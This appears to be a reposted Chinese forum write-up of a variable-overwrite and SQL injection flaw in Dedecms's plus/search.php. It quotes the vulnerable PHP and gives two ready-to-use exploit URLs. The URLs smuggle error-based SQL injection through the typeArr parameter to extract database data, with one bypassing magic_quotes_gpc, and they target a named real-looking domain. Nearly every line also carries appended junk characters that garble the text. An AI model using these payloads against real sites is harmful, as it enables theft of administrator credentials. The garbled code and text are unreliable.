微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.$ }4 f: b! t0 i6 J
作者: c4rp3nt3r@0x50sec.org
+ @1 I3 x4 U& e4 F' {# L- H( LDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
; b, O: l9 {& A% Q, ^ ?) R* T
" J4 j7 r U% U" g黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.- e. `3 f8 M c0 t0 Z; s
: w0 V8 Z6 U) \7 _1 _. W$ Z+ w. f
============1 V5 P& d! a+ L- z. V9 I
" K$ w2 k6 \1 [! L' c
2 K, |( S0 I0 R$ }5 u/ eDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ o1 I" Y8 e ^: Y8 c0 R2 T. S/ g0 [1 |
9 ^ o3 G- X* G, V* P! v, j' [require_once(dirname(__FILE__).”/../include/common.inc.php”);
5 o0 ?) i# ^% o4 N Q& Q* |2 G8 Vrequire_once(DEDEINC.”/arc.searchview.class.php”);
; O3 k1 \9 g0 h% g5 S6 s' y
9 q" C# E3 I( V% S# S, H+ E$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ o$ k" F# C( ~& l! M' a' O# y$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
) O! u1 F: a3 E/ f3 ~; @$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
9 t( u4 J4 B) k; q: s$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
: F# H7 s% i1 {9 a4 H( n) P$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
4 ?8 W. z, l7 u& q" [; c1 N ! [2 G) B' i: f/ h
if(!isset($orderby)) $orderby=”;
& k6 l, j2 |1 h& g5 Lelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
- x% K4 T! R* ]3 @
) G' Y! N+ b- ?& P- H9 G# v
9 q, T0 s8 q: }) _0 N( Rif(!isset($searchtype)) $searchtype = ‘titlekeyword’;% f+ N, C9 d+ {! Z- A
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);: V% ^! d" t% w4 V; ~' Z: n6 S
+ \/ [, e7 `! D' q! R4 Gif(!isset($keyword)){5 {+ m4 X' C% k
if(!isset($q)) $q = ”;9 d# L! g5 G% Q o, I6 j/ Q
$keyword=$q;
: h+ o3 \% D4 ~4 g B3 E4 V& A}
) E+ h& m# T% N; q 8 v% K& c3 _, J9 ]
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));, n% j9 ` X% `! Q- a8 P& o. s
P C' R V7 F7 q! ~
//查找栏目信息 t- p# ]* V: F+ K
if(empty($typeid)): K7 d- n& K+ e7 B( _
{% D7 f& L( D% s8 i
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
/ _% D7 u. a9 e. ?8 y8 \ if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )1 ^8 d- B* a9 ]" z' y( H
{3 \3 E8 ~, |3 N1 `& q: _* H4 x0 s
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);& v1 a+ N6 k: ]0 q+ a6 M1 k# j1 M
fwrite($fp, “<”.”?php\r\n”);" L# y7 h& x* x
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
2 Z& z% W+ z/ d $dsql->Execute();
' f/ a7 h `0 L0 x5 S. _. J while($row = $dsql->GetArray())5 `5 n1 v: v6 H0 F
{
7 q' y% m7 R# [. n, J7 c5 K7 X+ T fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
! ?9 ~* f5 `; B1 } J }! X. c0 N9 ]0 b2 P2 U3 I
fwrite($fp, ‘?’.'>’);
5 @) C& V6 o3 E0 f3 s, s' d fclose($fp);
# S9 M5 v$ G1 e( U$ e4 A) a8 X }
3 y: J$ O. p) q) k: _8 X! S //引入栏目缓存并看关键字是否有相关栏目内容9 A' R( H$ K( K; z% [
require_once($typenameCacheFile);* B, g2 H& |3 t& S M
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
8 a6 l0 ^4 P. w5 j0 K% I' Z o//
0 L0 @/ A# _5 q. S/ a if(isset($typeArr) && is_array($typeArr))
9 B6 C* \' I& D5 N3 c' U1 ? {! Q; f% ^6 a2 A( N3 W
foreach($typeArr as $id=>$typename)
! B; X$ Y# n4 s* m3 i3 N) T {9 i+ u! l; r' D; Z3 k
& A { \/ Z+ ~3 Q( [% D
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过+ @! u. P7 h7 ?
if($keyword != $keywordn)7 v j7 Y+ \* O# t c! R
{
- f! U# l: O; l6 P; L5 j m $keyword = $keywordn;
" f- x- ~6 F2 p; }; { <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设- R& ^3 O% k& W3 T, g
break;
# Z: g) ^9 n6 U+ X9 N }7 @+ `" G R; i) B) d
}8 p+ \! J, d, G- I Z: C8 @
}
+ G. {' v6 E! g8 z! g/ Z/ `4 W}, L% ^1 p5 s2 |5 U* W
然后plus/search.php文件下面定义了一个 Search类的对象 .
: u! H) N% Z$ ?* G0 z. @' x& Q% J; ^在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
5 \! h- \: s/ Q$ a( K1 |2 r' ]$this->TypeLink = new TypeLink($typeid);
]9 I& h# Z$ g" b , x/ U5 E) j; J9 q, Q
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句." [( i) v1 |0 P
, _/ I% ?$ b q" l4 _class TypeLink" U6 k8 J( [2 t0 d* b- L4 k
{
6 _. w% L1 b/ _) L7 y% s+ y- L var $typeDir;
' Q5 A' q C6 s4 i& v9 H' S5 E var $dsql;) A' I5 m$ W# Q& G& O( z5 J
var $TypeID;
( a2 I4 A/ f+ v) M var $baseDir;
+ ]! r4 m" S+ V. E var $modDir;
" {0 m. E' B. E! E var $indexUrl;
- e: r/ G. o' ?9 t. U( t var $indexName;
+ j6 n, d+ t2 }6 m var $TypeInfos;
- r. J' N3 l+ E9 I5 A var $SplitSymbol;% P/ n0 e' ]1 J
var $valuePosition;
" }/ |9 K1 @- |) z var $valuePositionName;6 [4 }& |" P& G L) E
var $OptionArrayList;//构造函数///////: |5 l; L/ X5 Y) ?+ F5 x' Y
//php5构造函数1 {9 E) k, q4 N$ I# u
function __construct($typeid)
! {7 R& s% P2 Y3 d" _3 y0 K {
$ l/ l% `* y9 [1 B $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
8 Z- q0 p( f, {1 d7 u: H9 m) W $this->indexName = $GLOBALS['cfg_indexname'];
3 U% I9 D7 e" f" N& X $this->baseDir = $GLOBALS['cfg_basedir'];
' ^& g* G) M( C: c% T8 @ $this->modDir = $GLOBALS['cfg_templets_dir'];
* z0 T. R0 M1 l8 i( ~) o $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
. H( z, O: A6 S* L4 n $this->dsql = $GLOBALS['dsql'];
% T3 B" ^* H, [! O! G& C8 F $this->TypeID = $typeid;
! u' e. ]: E% c $this->valuePosition = ”;
8 @5 k9 X4 c! t $this->valuePositionName = ”;
& M9 f( g( Y( c $this->typeDir = ”;
. x- `# }; E9 a( w- W* j $this->OptionArrayList = ”;% m% v/ E, _: [- S8 M; I( X* m
$ G$ Y, @) [* }; j1 k+ B; S //载入类目信息
8 M, z9 `0 g( O& ~& {
1 [4 u1 V" A- H <font color=”Red”>$query = “SELECT tp.*,ch.typename as
t! I/ X5 q, r) d8 H$ m3 G. dctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join: O3 e1 d2 k- ^+ X) i
`#@__channeltype` ch: q! C6 m+ W6 u1 a" a+ G
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
* N t, p: E/ L7 ?1 i. u# c + Y |4 M; R$ I4 h6 [# {" f5 ]
if($typeid > 0)
' j# j1 Y2 X" L4 Z {' P G2 f' I o7 R( k; `8 g: J
$this->TypeInfos = $this->dsql->GetOne($query);( ^: R* t: C" M5 f q' z$ D7 ?6 W9 o
利用代码一 需要 即使magic_quotes_gpc = Off4 Q: {& D& R3 p4 Z7 I* G. k
: x, {& H6 j- h5 Y4 Gwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title( y/ p y/ f6 z& B! o( w8 H. Q
4 J5 @& t: h: B/ m2 Z. r% r M这只是其中一个利用代码… Search 类的构造函数再往下
, q/ h% E$ R5 `2 I1 i
( b( k* J" d' F* J/ o……省略
8 `. u3 @; s- {* U$this->TypeID = $typeid;
* k4 E6 I% G# w4 \! H……省略1 ]6 S& f( U+ }2 \
if($this->TypeID==”0″){
2 _4 M6 Y* o/ w' v: Y $this->ChannelTypeid=1;
$ E; j4 r( ?0 y; D5 ~$ g }else{/ w6 d+ C6 d8 q
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲+ w$ E8 B" t* r/ M
//现在不鸡肋了吧亲…
1 j# b$ M8 b# U9 u) i8 ~* v $this->ChannelTypeid=$row['channeltype'];! D& l3 { o7 y5 D1 z0 r
2 X& N. p; z$ i& Z+ v* \
}8 x3 E% b1 y/ X8 O' J% \8 l
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
0 Q% O# ^6 E3 t4 E# @. y4 P) X7 T/ ~6 ]
; }+ F* e" K( z5 G2 Ywww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
/ b; ~5 v7 i8 ^4 e9 @; Z, N
5 G% h" L: R* M0 g. b如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站2 m$ L4 |/ C9 D- D0 l( q& K8 V/ U
|